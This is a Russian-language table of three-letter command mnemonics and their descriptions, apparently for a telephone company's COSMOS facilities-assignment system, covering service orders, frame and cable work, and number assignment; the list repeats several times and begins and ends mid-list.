DQR	Отчёт системы квот на проектирование
DQS	Система квот на проектирование
DTE	Напечатать текущую дату
EDZ	Список аварийного назначения объектов
ELA	Анализ нагрузки на объект
ESP	Напечатать всю сводную таблицу
FDY	Установить финансовый день для LAC
FLR	Отчёт о компоновке фрейма
FOR	Отчёт о заказах на фрейм
FOS	Сводка операций с фреймом
FTA	Анализ передачи фрейма
FTC	Завершение передачи фрейма
FTE	Установка передачи фрейма
FTL	LETs передачи фрейма
FTR	Перепечатка передачи фрейма
FTW	Отзыв передачи фрейма
FWM	Управление работами по фрейму
GFR	Общий отчёт по объектам
GLA	Генерировать списки для назначения
HBS	Блоки резервных номеров в группе переключения
HGR	Отчёт по группе переключения
HGS	Сводка группы переключения

HIS	ISH по переключению
IJR	Ввод причины задержки
IMU	Ввод данных об использовании CCS
INQ	Полный запрос по схеме
ISF	Запрос по одному объекту
ISH	Краткий полный запрос по схеме
JAM	Управление активностью перемычек
JPH	История установки перемычек
KPR	Отчёт по проблемным парам
KSM	Создать маску транзакции
LAI	Запрос о назначении линейного оборудования
LBP	Параметры балансировки нагрузки
LCD	Список сводки кабелей, тест LIT Demand
LCP	Список кабельных пар
LEE	Установка наряда на перенос линейного оборудования, связанного с NAC
LEW	Отзыв переноса линейного оборудования
LFC	Расчёт коэффициента нагрузки
LFR	Отчёт об отказах линий
LGN	Список групп переключения
LIN	Передача данных ALIT в COSMOS
LOE	Список исходного линейного оборудования
LSE	Установка наряда на перенос линии и оборудования
LSW	Отзыв переноса линии и оборудования
LTN	Список телефонных номеров
MAL	Список назначений вручную
MAP	Параметры назначения вручную

MAQ	Запрос к файлу назначений вручную
MAY	Изменить сборку
MCE	Создать заявку на техническое обслуживание
MCH	Изменить переключение вручную
MCL	Список изменений по техническому обслуживанию
MCR	Создать ремонтное изменение по техническому обслуживанию
MCW	Отозвать заявку на техническое обслуживание
MDC	Вручную отключить работающую схему
MEC	Вручную установить схему
MMC	Вручную изменить схему
MOC	Завершение наряда MOE
MOE	Массовая передача OE
MOF	Списки массовой передачи OE по фрейму
MOW	Отзыв наряда MOE
MPK	Изменить рабочий пакет
MSK	Вывод маски транзакции
MTR	Тест ответа вручную
NAI	Запрос о назначении телефонного номера
NOL	Список заказов на обслуживание NAC
NSD	Отображение сводки по номерам
OIJ	Наряды в состоянии задержки
OPN	Отчёт начала дня
OPU	Использование кабеля внешней сети
PAK	Рабочие пакеты
PEP	Установка позиций для абонентов
PFR	Отчёт о заполнении групповой линии

PRP	Периодическая очистка примечаний
QEX	Запросить выполнение
QUE	Очередь
RAL	Список назначений реле
RAP	Параметры назначения реле
RAS	Освободить списки порядковых номеров и связанные TN/OE
RBS	Напечатать запись назначения реле TBS
RCP	Упаковщик последних изменений
RCR	Отчёт о последних изменениях
RCS	Сводка последних изменений
RED	Редактор текста сообщений о последних изменениях
REL	Освободить неперехваченные номера по дате освобождения
REM	Удалить местоположения фрейма
RET	Переназначение местоположений фрейма
REX	Повторно выполнить заказ на обслуживание
RJR	Удалить коды причин задержки
RMP	Таблица пунктуации последних изменений
RNA	Освободить телефонные номера для назначения
ROE	Установка наряда на резервирование
ROI	Запрос наряда на резервирование
ROW	Отзыв наряда на резервирование
RTH	Отчёт о транзакциях для подсчёта свободного и DIPed линейного оборудования
RTS	Отчёт о статусе реле и телефонных номеров
RUP	Запрос внепланового процесса

SAI	Сводка элементов действий
SCA	Автоматическое завершение заказа на обслуживание
SCF	Простое завершение для MDF
SCI	Запрос о свободных кабельных парах
SCM	Стандартное завершение через MDF
SCP	Завершение заказа на обслуживание через LAC
SCR	Стандартное завершение через RCMAC
SEL	Выбор линий для изучения класса обслуживания ATC
SET	Статистика по оборудованию и телефонным номерам
SGH	Снабжение реле для групп переключения 5XB
SIR	Сортировочный запрос по диапазону
SLC	Количество абонентских линий для дополнительных функций
SOC	Отмена заказа на обслуживание
SOE	Установка заказа на обслуживание
SOF	Исправление заказа на обслуживание
SOH	Задержка заказа на обслуживание
SOI	Запрос о назначении заказа на обслуживание
SOL	Список заказов на обслуживание
SOM	Изменение ожидающего заказа на обслуживание
SOW	Отзыв заказа на обслуживание
STN	Сводка телефонных номеров
SVL	Петли наблюдения за обслуживанием
TAI	Запрос о назначении связывающей пары
TAT	Тест выравнивания терминала фрейма

TED	Текстовый редактор
TET	Отобразить или изменить файл полосового фильтра, коэффициент хранения и порог печати
TFC	Перенос изменений фрейма
TIG	Генератор ввода коммутации набора
TLC	Транслировать LANAVAR/CPS
TNS	Замена телефонных номеров
TOC	Завершение наряда на передачу
TOE	Установка наряда на передачу
TOF	Списки нарядов на передачу OE по фрейму
TOI	Запрос наряда на коммутируемую передачу
TOL	Списки нарядов на передачу
TOO	Пропуски в нарядах на передачу
TOW	Отзыв наряда на передачу
TPU	Отчёт об использовании связывающих пар
TRC	Отчёт о последних изменениях по нарядам на передачу
TRI	Запрос о назначении передающего оборудования
TRW	Полный отзыв нарядов на резервирование
TSL	Сводный отчёт по линейному оборудованию
TSN	Статистика трафика по телефонным номерам
TSW	Полный отзыв заказов на обслуживание
TTY	Получить имя TTY
TXC	Проверка текста
TXM	Управление переносом Centrex
UDP	Обновить параметры DIP
UES	Обновить сводную таблицу объектов

UFO	Неотпечатанные наряды на фрейм
UPC	Обновить таблицу CCS vs. класс обслуживания
USL	Список данных файла USOC (US)
UTC	Обновить таблицу для перепроектирования концентратора
WCC	Изменить коммутационный узел
WCT	Рабочий лист для нарядов на переброску кабеля
WFL	Рабочее местоположение фрейма
WOI	Запрос рабочего наряда
WOL	Список рабочих нарядов
WPT	Таблица рабочих пакетов
WSL	Список статусов работ
WUL	Отчёт о рабочих единицах для тестирования и назначения абонентских линий

Команда	Описание
ACE	Создать заявку на изменение назначения
AIT	Инициализация таблиц ANALIT
ARG	Собрать и запустить заданный главный файл
AUD	Аудит списка назначений
BAI	Запрос о назначении усилителя моста
BYF	Показать файл обходных путей
BYP	Изменить содержимое файла обходных путей
CAY	Создать сборку
CCA	Изменить атрибуты абонента
CCT	Инициализировать и обновить файл Contractor-Transducer
CDA	Изменить атрибуты распределения

CDD	Изменить дату выполнения
CDR	Отчёт Cut Thru DIP
CFA	Изменить атрибуты объекта
CFP	Напечатать класс обслуживания/функции для электромеханического объекта
CFU	Изменить использование объекта
CIE	Инициировать изменение по инициативе компании
CLI	Обработанные COSMOS отчёты ALIT
CPI	Интерфейс COSMOS-PREMIS
CPM	Монитор производительности COSMOS
CTC	Завершить перенос или переброску кабеля
CTE	Установить наряд на переброску кабеля
CTF	Отобразить файл Contacter-Transducer
CTL	Переброска кабеля с назначением линейного оборудования
CTM	Изменение нарядов на переброску кабеля
CTP	Напечатать фреймовые работы по переносу кабеля
CTR	Замена переброски кабеля
CTS	Сводка переброски кабеля
CTW	Отозвать перенос или переброску кабеля
CUP	Процессор общего обновления
CXC	Проверка ввода сложного заказа на обслуживание
CXM	Управление таблицей Centrex
CXT	Запрос сложного наряда для проверки NAC
DAY	Удалить сборку
DBL	Загрузка базы данных

DCN	Список отключённых и изменённых номеров
DDS	Показать таблицу DS
DIR	Стандартный отчёт DIP
DPN	Удалить номер DIP
DPR	Отчёт и удаление DIP
DQR	Отчёт системы квот на проектирование
DQS	Система квот на проектирование
DTE	Напечатать текущую дату
EDZ	Список аварийного назначения объектов
ELA	Анализ нагрузки на объект
ESP	Напечатать всю сводную таблицу
FDY	Установить финансовый день для LAC
FLR	Отчёт о компоновке фрейма
FOR	Отчёт о заказах на фрейм
FOS	Сводка операций с фреймом
FTA	Анализ передачи фрейма
FTC	Завершение передачи фрейма
FTE	Установка передачи фрейма
FTL	LETs передачи фрейма
FTR	Перепечатка передачи фрейма
FTW	Отзыв передачи фрейма
FWM	Управление работами по фрейму
GFR	Общий отчёт по объектам
GLA	Генерировать списки для назначения
HBS	Блоки резервных номеров в группе переключения
HGR	Отчёт по группе переключения
HGS	Сводка группы переключения

HIS	ISH по переключению
IJR	Ввод причины задержки
IMU	Ввод данных об использовании CCS
INQ	Полный запрос по схеме
ISF	Запрос по одному объекту
ISH	Краткий полный запрос по схеме
JAM	Управление активностью перемычек
JPH	История установки перемычек
KPR	Отчёт по проблемным парам
KSM	Создать маску транзакции
LAI	Запрос о назначении линейного оборудования
LBP	Параметры балансировки нагрузки
LCD	Список сводки кабелей, тест LIT Demand
LCP	Список кабельных пар
LEE	Установка наряда на перенос линейного оборудования, связанного с NAC
LEW	Отзыв переноса линейного оборудования
LFC	Расчёт коэффициента нагрузки
LFR	Отчёт об отказах линий
LGN	Список групп переключения
LIN	Передача данных ALIT в COSMOS
LOE	Список исходного линейного оборудования
LSE	Установка наряда на перенос линии и оборудования
LSW	Отзыв переноса линии и оборудования
LTN	Список телефонных номеров
MAL	Список назначений вручную
MAP	Параметры назначения вручную

MAQ	Запрос к файлу назначений вручную
MAY	Изменить сборку
MCE	Создать заявку на техническое обслуживание
MCH	Изменить переключение вручную
MCL	Список изменений по техническому обслуживанию
MCR	Создать ремонтное изменение по техническому обслуживанию
MCW	Отозвать заявку на техническое обслуживание
MDC	Вручную отключить работающую схему
MEC	Вручную установить схему
MMC	Вручную изменить схему
MOC	Завершение наряда MOE
MOE	Массовая передача OE
MOF	Списки массовой передачи OE по фрейму
MOW	Отзыв наряда MOE
MPK	Изменить рабочий пакет
MSK	Вывод маски транзакции
MTR	Тест ответа вручную
NAI	Запрос о назначении телефонного номера
NOL	Список заказов на обслуживание NAC
NSD	Отображение сводки по номерам
OIJ	Наряды в состоянии задержки
OPN	Отчёт начала дня
OPU	Использование кабеля внешней сети
PAK	Рабочие пакеты
PEP	Установка позиций для абонентов
PFR	Отчёт о заполнении групповой линии

PRP	Периодическая очистка примечаний
QEX	Запросить выполнение
QUE	Очередь
RAL	Список назначений реле
RAP	Параметры назначения реле
RAS	Освободить списки порядковых номеров и связанные TN/OE
RBS	Напечатать запись назначения реле TBS
RCP	Упаковщик последних изменений
RCR	Отчёт о последних изменениях
RCS	Сводка последних изменений
RED	Редактор текста сообщений о последних изменениях
REL	Освободить неперехваченные номера по дате освобождения
REM	Удалить местоположения фрейма
RET	Переназначение местоположений фрейма
REX	Повторно выполнить заказ на обслуживание
RJR	Удалить коды причин задержки
RMP	Таблица пунктуации последних изменений
RNA	Освободить телефонные номера для назначения
ROE	Установка наряда на резервирование
ROI	Запрос наряда на резервирование
ROW	Отзыв наряда на резервирование
RTH	Отчёт о транзакциях для подсчёта свободного и DIPed линейного оборудования
RTS	Отчёт о статусе реле и телефонных номеров
RUP	Запрос внепланового процесса

SAI	Сводка элементов действий
SCA	Автоматическое завершение заказа на обслуживание
SCF	Простое завершение для MDF
SCI	Запрос о свободных кабельных парах
SCM	Стандартное завершение через MDF
SCP	Завершение заказа на обслуживание через LAC
SCR	Стандартное завершение через RCMAC
SEL	Выбор линий для изучения класса обслуживания ATC
SET	Статистика по оборудованию и телефонным номерам
SGH	Снабжение реле для групп переключения 5XB
SIR	Сортировочный запрос по диапазону
SLC	Количество абонентских линий для дополнительных функций
SOC	Отмена заказа на обслуживание
SOE	Установка заказа на обслуживание
SOF	Исправление заказа на обслуживание
SOH	Задержка заказа на обслуживание
SOI	Запрос о назначении заказа на обслуживание
SOL	Список заказов на обслуживание
SOM	Изменение ожидающего заказа на обслуживание
SOW	Отзыв заказа на обслуживание
STN	Сводка телефонных номеров
SVL	Петли наблюдения за обслуживанием
TAI	Запрос о назначении связывающей пары
TAT	Тест выравнивания терминала фрейма

TED	Текстовый редактор
TET	Отобразить или изменить файл полосового фильтра, коэффициент хранения и порог печати
TFC	Перенос изменений фрейма
TIG	Генератор ввода коммутации набора
TLC	Транслировать LANAVAR/CPS
TNS	Замена телефонных номеров
TOC	Завершение наряда на передачу
TOE	Установка наряда на передачу
TOF	Списки нарядов на передачу OE по фрейму
TOI	Запрос наряда на коммутируемую передачу
TOL	Списки нарядов на передачу
TOO	Пропуски в нарядах на передачу
TOW	Отзыв наряда на передачу
TPU	Отчёт об использовании связывающих пар
TRC	Отчёт о последних изменениях по нарядам на передачу
TRI	Запрос о назначении передающего оборудования
TRW	Полный отзыв нарядов на резервирование
TSL	Сводный отчёт по линейному оборудованию
TSN	Статистика трафика по телефонным номерам
TSW	Полный отзыв заказов на обслуживание
TTY	Получить имя TTY
TXC	Проверка текста
TXM	Управление переносом Centrex
UDP	Обновить параметры DIP
UES	Обновить сводную таблицу объектов

UFO	Неотпечатанные наряды на фрейм
UPC	Обновить таблицу CCS vs. класс обслуживания
USL	Список данных файла USOC (US)
UTC	Обновить таблицу для перепроектирования концентратора
WCC	Изменить коммутационный узел
WCT	Рабочий лист для нарядов на переброску кабеля
WFL	Рабочее местоположение фрейма
WOI	Запрос рабочего наряда
WOL	Список рабочих нарядов
WPT	Таблица рабочих пакетов
WSL	Список статусов работ
WUL	Отчёт о рабочих единицах для тестирования и назначения абонентских линий

Команда	Описание
ACE	Создать заявку на изменение назначения
AIT	Инициализация таблиц ANALIT
ARG	Собрать и запустить заданный главный файл
AUD	Аудит списка назначений
BAI	Запрос о назначении усилителя моста
BYF	Показать файл обходных путей
BYP	Изменить содержимое файла обходных путей
CAY	Создать сборку
CCA	Изменить атрибуты абонента
CCT	Инициализировать и обновить файл Contractor-Transducer
CDA	Изменить атрибуты распределения

CDD	Изменить дату выполнения
CDR	Отчёт Cut Thru DIP
CFA	Изменить атрибуты объекта
CFP	Напечатать класс обслуживания/функции для электромеханического объекта
CFU	Изменить использование объекта
CIE	Инициировать изменение по инициативе компании
CLI	Обработанные COSMOS отчёты ALIT
CPI	Интерфейс COSMOS-PREMIS
CPM	Монитор производительности COSMOS
CTC	Завершить перенос или переброску кабеля
CTE	Установить наряд на переброску кабеля
CTF	Отобразить файл Contacter-Transducer
CTL	Переброска кабеля с назначением линейного оборудования
CTM	Изменение нарядов на переброску кабеля
CTP	Напечатать фреймовые работы по переносу кабеля
CTR	Замена переброски кабеля
CTS	Сводка переброски кабеля
CTW	Отозвать перенос или переброску кабеля
CUP	Процессор общего обновления
CXC	Проверка ввода сложного заказа на обслуживание
CXM	Управление таблицей Centrex
CXT	Запрос сложного наряда для проверки NAC
DAY	Удалить сборку
DBL	Загрузка базы данных

DCN	Список отключённых и изменённых номеров
DDS	Показать таблицу DS
DIR	Стандартный отчёт DIP
DPN	Удалить номер DIP
DPR	Отчёт и удаление DIP
DQR	Отчёт системы квот на проектирование
DQS	Система квот на проектирование
DTE	Напечатать текущую дату
EDZ	Список аварийного назначения объектов
ELA	Анализ нагрузки на объект
ESP	Напечатать всю сводную таблицу
FDY	Установить финансовый день для LAC
FLR	Отчёт о компоновке фрейма
FOR	Отчёт о заказах на фрейм
FOS	Сводка операций с фреймом
FTA	Анализ передачи фрейма
FTC	Завершение передачи фрейма
FTE	Установка передачи фрейма
FTL	LETs передачи фрейма
FTR	Перепечатка передачи фрейма
FTW	Отзыв передачи фрейма
FWM	Управление работами по фрейму
GFR	Общий отчёт по объектам
GLA	Генерировать списки для назначения
HBS	Блоки резервных номеров в группе переключения
HGR	Отчёт по группе переключения
HGS	Сводка группы переключения

HIS	ISH по переключению
IJR	Ввод причины задержки
IMU	Ввод данных об использовании CCS
INQ	Полный запрос по схеме
ISF	Запрос по одному объекту
ISH	Краткий полный запрос по схеме
JAM	Управление активностью перемычек
JPH	История установки перемычек
KPR	Отчёт по проблемным парам
KSM	Создать маску транзакции
LAI	Запрос о назначении линейного оборудования
LBP	Параметры балансировки нагрузки
LCD	Список сводки кабелей, тест LIT Demand
LCP	Список кабельных пар
LEE	Установка наряда на перенос линейного оборудования, связанного с NAC
LEW	Отзыв переноса линейного оборудования
LFC	Расчёт коэффициента нагрузки
LFR	Отчёт об отказах линий
LGN	Список групп переключения
LIN	Передача данных ALIT в COSMOS
LOE	Список исходного линейного оборудования
LSE	Установка наряда на перенос линии и оборудования
LSW	Отзыв переноса линии и оборудования
LTN	Список телефонных номеров
MAL	Список назначений вручную
MAP	Параметры назначения вручную

MAQ	Запрос к файлу назначений вручную
MAY	Изменить сборку
MCE	Создать заявку на техническое обслуживание
MCH	Изменить переключение вручную
MCL	Список изменений по техническому обслуживанию
MCR	Создать ремонтное изменение по техническому обслуживанию
MCW	Отозвать заявку на техническое обслуживание
MDC	Вручную отключить работающую схему
MEC	Вручную установить схему
MMC	Вручную изменить схему
MOC	Завершение наряда MOE
MOE	Массовая передача OE
MOF	Списки массовой передачи OE по фрейму
MOW	Отзыв наряда MOE
MPK	Изменить рабочий пакет
MSK	Вывод маски транзакции
MTR	Тест ответа вручную
NAI	Запрос о назначении телефонного номера
NOL	Список заказов на обслуживание NAC
NSD	Отображение сводки по номерам
OIJ	Наряды в состоянии задержки
OPN	Отчёт начала дня
OPU	Использование кабеля внешней сети
PAK	Рабочие пакеты
PEP	Установка позиций для абонентов
PFR	Отчёт о заполнении групповой линии

PRP	Периодическая очистка примечаний
QEX	Запросить выполнение
QUE	Очередь
RAL	Список назначений реле
RAP	Параметры назначения реле
RAS	Освободить списки порядковых номеров и связанные TN/OE
RBS	Напечатать запись назначения реле TBS
RCP	Упаковщик последних изменений
RCR	Отчёт о последних изменениях
RCS	Сводка последних изменений
RED	Редактор текста сообщений о последних изменениях
REL	Освободить неперехваченные номера по дате освобождения
REM	Удалить местоположения фрейма
RET	Переназначение местоположений фрейма
REX	Повторно выполнить заказ на обслуживание
RJR	Удалить коды причин задержки
RMP	Таблица пунктуации последних изменений
RNA	Освободить телефонные номера для назначения
ROE	Установка наряда на резервирование
ROI	Запрос наряда на резервирование
ROW	Отзыв наряда на резервирование
RTH	Отчёт о транзакциях для подсчёта свободного и DIPed линейного оборудования
RTS	Отчёт о статусе реле и телефонных номеров
RUP	Запрос внепланового процесса

SAI	Сводка элементов действий
SCA	Автоматическое завершение заказа на обслуживание
SCF	Простое завершение для MDF
SCI	Запрос о свободных кабельных парах
SCM	Стандартное завершение через MDF
SCP	Завершение заказа на обслуживание через LAC
SCR	Стандартное завершение через RCMAC
SEL	Выбор линий для изучения класса обслуживания ATC
SET	Статистика по оборудованию и телефонным номерам
SGH	Снабжение реле для групп переключения 5XB
SIR	Сортировочный запрос по диапазону
SLC	Количество абонентских линий для дополнительных функций
SOC	Отмена заказа на обслуживание
SOE	Установка заказа на обслуживание
SOF	Исправление заказа на обслуживание
SOH	Задержка заказа на обслуживание
SOI	Запрос о назначении заказа на обслуживание
SOL	Список заказов на обслуживание
SOM	Изменение ожидающего заказа на обслуживание
SOW	Отзыв заказа на обслуживание
STN	Сводка телефонных номеров
SVL	Петли наблюдения за обслуживанием
TAI	Запрос о назначении связывающей пары
TAT	Тест выравнивания терминала фрейма

TED	Текстовый редактор
TET	Отобразить или изменить файл полосового фильтра, коэффициент хранения и порог печати
TFC	Перенос изменений фрейма
TIG	Генератор ввода коммутации набора
TLC	Транслировать LANAVAR/CPS
TNS	Замена телефонных номеров
TOC	Завершение наряда на передачу
TOE	Установка наряда на передачу
TOF	Списки нарядов на передачу OE по фрейму
TOI	Запрос наряда на коммутируемую передачу
TOL	Списки нарядов на передачу
TOO	Пропуски в нарядах на передачу
TOW	Отзыв наряда на передачу
TPU	Отчёт об использовании связывающих пар
TRC	Отчёт о последних изменениях по нарядам на передачу
TRI	Запрос о назначении передающего оборудования
TRW	Полный отзыв нарядов на резервирование
TSL	Сводный отчёт по линейному оборудованию
TSN	Статистика трафика по телефонным номерам
TSW	Полный отзыв заказов на обслуживание
TTY	Получить имя TTY
TXC	Проверка текста
TXM	Управление переносом Centrex
UDP	Обновить параметры DIP
UES	Обновить сводную таблицу объектов

UFO	Неотпечатанные наряды на фрейм
UPC	Обновить таблицу CCS vs. класс обслуживания
USL	Список данных файла USOC (US)
UTC	Обновить таблицу для перепроектирования концентратора
WCC	Изменить коммутационный узел
WCT	Рабочий лист для нарядов на переброску кабеля
WFL	Рабочее местоположение фрейма
WOI	Запрос рабочего наряда
WOL	Список рабочих нарядов
WPT	Таблица рабочих пакетов
WSL	Список статусов работ
WUL	Отчёт о рабочих единицах для тестирования и назначения абонентских линий

Команда	Описание
ACE	Создать заявку на изменение назначения
AIT	Инициализация таблиц ANALIT
ARG	Собрать и запустить заданный главный файл
AUD	Аудит списка назначений
BAI	Запрос о назначении усилителя моста
BYF	Показать файл обходных путей
BYP	Изменить содержимое файла обходных путей
CAY	Создать сборку
CCA	Изменить атрибуты абонента
CCT	Инициализировать и обновить файл Contractor-Transducer
CDA	Изменить атрибуты распределения

CDD	Изменить дату выполнения
CDR	Отчёт Cut Thru DIP
CFA	Изменить атрибуты объекта
CFP	Напечатать класс обслуживания/функции для электромеханического объекта
CFU	Изменить использование объекта
CIE	Инициировать изменение по инициативе компании
CLI	Обработанные COSMOS отчёты ALIT
CPI	Интерфейс COSMOS-PREMIS
CPM	Монитор производительности COSMOS
CTC	Завершить перенос или переброску кабеля
CTE	Установить наряд на переброску кабеля
CTF	Отобразить файл Contacter-Transducer
CTL	Переброска кабеля с назначением линейного оборудования
CTM	Изменение нарядов на переброску кабеля
CTP	Напечатать фреймовые работы по переносу кабеля
CTR	Замена переброски кабеля
CTS	Сводка переброски кабеля
CTW	Отозвать перенос или переброску кабеля
CUP	Процессор общего обновления
CXC	Проверка ввода сложного заказа на обслуживание
CXM	Управление таблицей Centrex
CXT	Запрос сложного наряда для проверки NAC
DAY	Удалить сборку
DBL	Загрузка базы данных

DCN	Список отключённых и изменённых номеров
DDS	Показать таблицу DS
DIR	Стандартный отчёт DIP
DPN	Удалить номер DIP
DPR	Отчёт и удаление DIP
DQR	Отчёт системы квот на проектирование
DQS	Система квот на проектирование
DTE	Напечатать текущую дату
EDZ	Список аварийного назначения объектов
ELA	Анализ нагрузки на объект
ESP	Напечатать всю сводную таблицу
FDY	Установить финансовый день для LAC
FLR	Отчёт о компоновке фрейма
FOR	Отчёт о заказах на фрейм
FOS	Сводка операций с фреймом
FTA	Анализ передачи фрейма
FTC	Завершение передачи фрейма
FTE	Установка передачи фрейма
FTL	LETs передачи фрейма
FTR	Перепечатка передачи фрейма
FTW	Отзыв передачи фрейма
FWM	Управление работами по фрейму
GFR	Общий отчёт по объектам
GLA	Генерировать списки для назначения
HBS	Блоки резервных номеров в группе переключения
HGR	Отчёт по группе переключения
HGS	Сводка группы переключения

HIS	ISH по переключению
IJR	Ввод причины задержки
IMU	Ввод данных об использовании CCS
INQ	Полный запрос по схеме
ISF	Запрос по одному объекту
ISH	Краткий полный запрос по схеме
JAM	Управление активностью перемычек
JPH	История установки перемычек
KPR	Отчёт по проблемным парам
KSM	Создать маску транзакции
LAI	Запрос о назначении линейного оборудования
LBP	Параметры балансировки нагрузки
LCD	Список сводки кабелей, тест LIT Demand
LCP	Список кабельных пар
LEE	Установка наряда на перенос линейного оборудования, связанного с NAC
LEW	Отзыв переноса линейного оборудования
LFC	Расчёт коэффициента нагрузки
LFR	Отчёт об отказах линий
LGN	Список групп переключения
LIN	Передача данных ALIT в COSMOS
LOE	Список исходного линейного оборудования
LSE	Установка наряда на перенос линии и оборудования
LSW	Отзыв переноса линии и оборудования
LTN	Список телефонных номеров
MAL	Список назначений вручную
MAP	Параметры назначения вручную

MAQ	Запрос к файлу назначений вручную
MAY	Изменить сборку
MCE	Создать заявку на техническое обслуживание
MCH	Изменить переключение вручную
MCL	Список изменений по техническому обслуживанию
MCR	Создать ремонтное изменение по техническому обслуживанию
MCW	Отозвать заявку на техническое обслуживание
MDC	Вручную отключить работающую схему
MEC	Вручную установить схему
MMC	Вручную изменить схему
MOC	Завершение наряда MOE
MOE	Массовая передача OE
MOF	Списки массовой передачи OE по фрейму
MOW	Отзыв наряда MOE
MPK	Изменить рабочий пакет
MSK	Вывод маски транзакции
MTR	Тест ответа вручную
NAI	Запрос о назначении телефонного номера
NOL	Список заказов на обслуживание NAC
NSD	Отображение сводки по номерам
OIJ	Наряды в состоянии задержки
OPN	Отчёт начала дня
OPU	Использование кабеля внешней сети
PAK	Рабочие пакеты
PEP	Установка позиций для абонентов
PFR	Отчёт о заполнении групповой линии

PRP	Периодическая очистка примечаний
QEX	Запросить выполнение
QUE	Очередь
RAL	Список назначений реле
RAP	Параметры назначения реле
RAS	Освободить списки порядковых номеров и связанные TN/OE
RBS	Напечатать запись назначения реле TBS
RCP	Упаковщик последних изменений
RCR	Отчёт о последних изменениях
RCS	Сводка последних изменений
RED	Редактор текста сообщений о последних изменениях
REL	Освободить неперехваченные номера по дате освобождения
REM	Удалить местоположения фрейма
RET	Переназначение местоположений фрейма
REX	Повторно выполнить заказ на обслуживание
RJR	Удалить коды причин задержки
RMP	Таблица пунктуации последних изменений
RNA	Освободить телефонные номера для назначения
ROE	Установка наряда на резервирование
ROI	Запрос наряда на резервирование
ROW	Отзыв наряда на резервирование
RTH	Отчёт о транзакциях для подсчёта свободного и DIPed линейного оборудования
RTS	Отчёт о статусе реле и телефонных номеров
RUP	Запрос внепланового процесса

SAI	Сводка элементов действий
SCA	Автоматическое завершение заказа на обслуживание
SCF	Простое завершение для MDF
SCI	Запрос о свободных кабельных парах
SCM	Стандартное завершение через MDF
SCP	Завершение заказа на обслуживание через LAC
SCR	Стандартное завершение через RCMAC
SEL	Выбор линий для изучения класса обслуживания ATC
SET	Статистика по оборудованию и телефонным номерам
SGH	Снабжение реле для групп переключения 5XB
SIR	Сортировочный запрос по диапазону
SLC	Количество абонентских линий для дополнительных функций
SOC	Отмена заказа на обслуживание
SOE	Установка заказа на обслуживание
SOF	Исправление заказа на обслуживание
SOH	Задержка заказа на обслуживание
SOI	Запрос о назначении заказа на обслуживание
SOL	Список заказов на обслуживание
SOM	Изменение ожидающего заказа на обслуживание
SOW	Отзыв заказа на обслуживание
STN	Сводка телефонных номеров
SVL	Петли наблюдения за обслуживанием
TAI	Запрос о назначении связывающей пары
TAT	Тест выравнивания терминала фрейма

TED	Текстовый редактор
TET	Отобразить или изменить файл полосового фильтра, коэффициент хранения и порог печати
TFC	Перенос изменений фрейма
TIG	Генератор ввода коммутации набора
TLC	Транслировать LANAVAR/CPS
TNS	Замена телефонных номеров
TOC	Завершение наряда на передачу
TOE	Установка наряда на передачу
TOF	Списки нарядов на передачу OE по фрейму
TOI	Запрос наряда на коммутируемую передачу
TOL	Списки нарядов на передачу
TOO	Пропуски в нарядах на передачу
TOW	Отзыв наряда на передачу
TPU	Отчёт об использовании связывающих пар
TRC	Отчёт о последних изменениях по нарядам на передачу
TRI	Запрос о назначении передающего оборудования
TRW	Полный отзыв нарядов на резервирование
TSL	Сводный отчёт по линейному оборудованию
TSN	Статистика трафика по телефонным номерам
TSW	Полный отзыв заказов на обслуживание
TTY	Получить имя TTY
TXC	Проверка текста
TXM	Управление переносом Centrex
UDP	Обновить параметры DIP
UES	Обновить сводную таблицу объектов

UFO	Неотпечатанные наряды на фрейм
UPC	Обновить таблицу CCS vs. класс обслуживания
USL	Список данных файла USOC (US)
UTC	Обновить таблицу для перепроектирования концентратора
WCC	Изменить коммутационный узел
WCT	Рабочий лист для нарядов на переброску кабеля
WFL	Рабочее местоположение фрейма
WOI	Запрос рабочего наряда
WOL	Список рабочих нарядов
WPT	Таблица рабочих пакетов
WSL	Список статусов работ
WUL	Отчёт о рабочих единицах для тестирования и назначения абонентских линий

Команда	Описание
ACE	Создать заявку на изменение назначения
AIT	Инициализация таблиц ANALIT
ARG	Собрать и запустить заданный главный файл
AUD	Аудит списка назначений
BAI	Запрос о назначении усилителя моста
BYF	Показать файл обходных путей
BYP	Изменить содержимое файла обходных путей
CAY	Создать сборку
CCA	Изменить атрибуты абонента
CCT	Инициализировать и обновить файл Contractor-Transducer
CDA	Изменить атрибуты распределения

CDD	Изменить дату выполнения
CDR	Отчёт Cut Thru DIP
CFA	Изменить атрибуты объекта
CFP	Напечатать класс обслуживания/функции для электромеханического объекта
CFU	Изменить использование объекта
CIE	Инициировать изменение по инициативе компании
CLI	Обработанные COSMOS отчёты ALIT
CPI	Интерфейс COSMOS-PREMIS
CPM	Монитор производительности COSMOS
CTC	Завершить перенос или переброску кабеля
CTE	Установить наряд на переброску кабеля
CTF	Отобразить файл Contacter-Transducer
CTL	Переброска кабеля с назначением линейного оборудования
CTM	Изменение нарядов на переброску кабеля
CTP	Напечатать фреймовые работы по переносу кабеля
CTR	Замена переброски кабеля
CTS	Сводка переброски кабеля
CTW	Отозвать перенос или переброску кабеля
CUP	Процессор общего обновления
CXC	Проверка ввода сложного заказа на обслуживание
CXM	Управление таблицей Centrex
CXT	Запрос сложного наряда для проверки NAC
DAY	Удалить сборку
DBL	Загрузка базы данных

DCN	Список отключённых и изменённых номеров
DDS	Показать таблицу DS
DIR	Стандартный отчёт DIP
DPN	Удалить номер DIP
DPR	Отчёт и удаление DIP
DQR	Отчёт системы квот на проектирование
DQS	Система квот на проектирование
DTE	Напечатать текущую дату
EDZ	Список аварийного назначения объектов
ELA	Анализ нагрузки на объект
ESP	Напечатать всю сводную таблицу
FDY	Установить финансовый день для LAC
FLR	Отчёт о компоновке фрейма
FOR	Отчёт о заказах на фрейм
FOS	Сводка операций с фреймом
FTA	Анализ передачи фрейма
FTC	Завершение передачи фрейма
FTE	Установка передачи фрейма
FTL	LETs передачи фрейма
FTR	Перепечатка передачи фрейма
FTW	Отзыв передачи фрейма
FWM	Управление работами по фрейму
GFR	Общий отчёт по объектам
GLA	Генерировать списки для назначения
HBS	Блоки резервных номеров в группе переключения
HGR	Отчёт по группе переключения
HGS	Сводка группы переключения

HIS	ISH по переключению
IJR	Ввод причины задержки
IMU	Ввод данных об использовании CCS
INQ	Полный запрос по схеме
ISF	Запрос по одному объекту
ISH	Краткий полный запрос по схеме
JAM	Управление активностью перемычек
JPH	История установки перемычек
KPR	Отчёт по проблемным парам
KSM	Создать маску транзакции
LAI	Запрос о назначении линейного оборудования
LBP	Параметры балансировки нагрузки
